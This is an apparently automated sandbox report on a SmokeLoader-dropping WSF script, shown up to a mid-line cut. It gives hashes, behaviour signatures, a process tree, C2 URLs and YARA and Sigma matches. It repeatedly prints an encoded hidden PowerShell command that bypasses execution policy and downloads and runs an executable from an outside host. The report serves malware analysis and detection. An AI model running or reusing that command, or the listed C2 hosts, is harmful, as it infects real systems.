Edit tour

Windows Analysis Report
w4DO1Z18yg.wsf

Overview

General Information

Sample name:	w4DO1Z18yg.wsf renamed because original name is a hash value
Original sample name:	5c7d582ba61ac95fb0d330ecc05feeb4853ac1de1f5a6fd12df6491dd0b7ea34.wsf
Analysis ID:	1525802
MD5:	4f6cb09e56494f178fd06ee05c3880ac
SHA1:	45810dc8fa00d54a302d8ea5a7563a21c93c94f4
SHA256:	5c7d582ba61ac95fb0d330ecc05feeb4853ac1de1f5a6fd12df6491dd0b7ea34
Tags:	bestmagazineforanimalsunicum-ruwsfuser-JAMESWT_MHT
Infos:

Detection

SmokeLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for dropped file

Benign windows process drops PE files

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

VBScript performs obfuscated calls to suspicious functions

Yara detected SmokeLoader

AI detected suspicious sample

Bypasses PowerShell execution policy

C2 URLs / IPs found in malware configuration

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Checks if the current machine is a virtual machine (disk enumeration)

Creates a thread in another existing process (thread injection)

Encrypted powershell cmdline option found

Found API chain indicative of debugger detection

Found evasive API chain (may stop execution after checking system information)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Machine Learning detection for dropped file

Maps a DLL or memory area into another process

PowerShell case anomaly found

Powershell drops PE file

Sigma detected: Net WebClient Casing Anomalies

Sigma detected: Suspicious Encoded PowerShell Command Line

Sigma detected: Suspicious PowerShell Encoded Command Patterns

Sigma detected: Suspicious PowerShell Parameter Substring

Suspicious execution chain found

Suspicious powershell command line found

Switches to a custom stack to bypass stack traces

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Checks if the current process is being debugged

Contains functionality to call native functions

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Execution of Suspicious File Type Extension

Sigma detected: Suspicious Execution of Powershell with Base64

Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation

Sigma detected: Use Short Name Path in Command Line

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses the system / local time for branch decision (may execute only at specific dates)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara signature match

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6536 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\w4DO1Z18yg.wsf" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 1664 cmdline: "C:\Windows\System32\cmd.exe" /c powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA= MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1340 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6016 cmdline: powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA= MD5: 04029E121A0CFA5991749937DD22A1D9)

oBuf.exe (PID: 4836 cmdline: "C:\Users\user~1\AppData\Local\Temp\oBuf.exe" MD5: 31059E7394B880F017E83804D9B716AB)

explorer.exe (PID: 4056 cmdline: C:\Windows\Explorer.EXE MD5: 662F4F92FDE3557E86D110526BB578D5)

tesubba (PID: 7404 cmdline: C:\Users\user\AppData\Roaming\tesubba MD5: 31059E7394B880F017E83804D9B716AB)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
SmokeLoader	The SmokeLoader family is a generic backdoor with a range of capabilities which depend on the modules included in any given build of the malware. The malware is delivered in a variety of ways and is broadly associated with criminal activity. The malware frequently tries to hide its C2 activity by generating requests to legitimate sites such as microsoft.com, bing.com, adobe.com, and others. Typically the actual Download returns an HTTP 404 but still contains data in the Response Body.	SMOKY SPIDER	http://security.neurolabs.club/2019/08/smokeloaders-hardcoded-domains-sneaky.html http://security.neurolabs.club/2019/10/dynamic-imports-and-working-around.html http://security.neurolabs.club/2020/04/diffing-malware-samples-using-bindiff.html http://security.neurolabs.club/2020/06/unpacking-smokeloader-and.html https://0xc0decafe.com/2020/12/23/detect-rc4-in-malicious-binaries	https://malpedia.caad.fkie.fraunhofer.de/details/win.smokeloader

Malware Configuration

Threatname: SmokeLoader

{"Version": 2022, "C2 list": ["http://unicexpertmagazine.pw/index.php", "http://ceoconstractionstore.pl/index.php", "http://openclehardware.ru/index.php", "http://informcoopirationunicolceo.ru/index.php"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
0000000F.00000002.1688228770.0000000002060000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000000F.00000002.1688228770.0000000002060000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x654:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
0000000F.00000002.1688128712.00000000005CD000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x3491:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000E.00000002.2505713156.000000000AC41000.00000020.80000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000000E.00000002.2505713156.000000000AC41000.00000020.80000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x254:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
0000000C.00000002.1426355284.00000000007E1000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000000C.00000002.1426355284.00000000007E1000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x254:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
0000000C.00000002.1426518576.00000000008DE000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x34d1:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000C.00000002.1426166777.00000000006B0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000000C.00000002.1426166777.00000000006B0000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x654:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
0000000F.00000002.1688048281.00000000005A0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
0000000F.00000002.1688289070.00000000020A1000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000000F.00000002.1688289070.00000000020A1000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x254:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
0000000E.00000002.2501060273.0000000008381000.00000020.80000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000000E.00000002.2501060273.0000000008381000.00000020.80000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x254:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
0000000C.00000002.1426113071.00000000006A0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
Click to see the 11 entries

Sigma Signatures

System Summary

Sigma detected: Net WebClient Casing Anomalies

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=, CommandLine: powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=, CommandLine|base64offset|contains: D, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1664, ParentProcessName: cmd.exe, ProcessCommandLine: powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=, ProcessId: 6016, ProcessName: powershell.exe

Sigma detected: Suspicious Encoded PowerShell Command Line

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, Anton Kutepov, oscd.community: Data: Command: powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=, CommandLine: powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=, CommandLine|base64offset|contains: D, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1664, ParentProcessName: cmd.exe, ProcessCommandLine: powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=, ProcessId: 6016, ProcessName: powershell.exe

Sigma detected: Suspicious PowerShell Encoded Command Patterns

Source: Process started

Sigma detected: Suspicious PowerShell Parameter Substring

Source: Process started

Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=, CommandLine: powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=, CommandLine|base64offset|contains: D, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1664, ParentProcessName: cmd.exe, ProcessCommandLine: powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=, ProcessId: 6016, ProcessName: powershell.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=, CommandLine: powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=, CommandLine|base64offset|contains: D, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1664, ParentProcessName: cmd.exe, ProcessCommandLine: powErshEll -nop -w hiddEn -Ep bypass -Enc 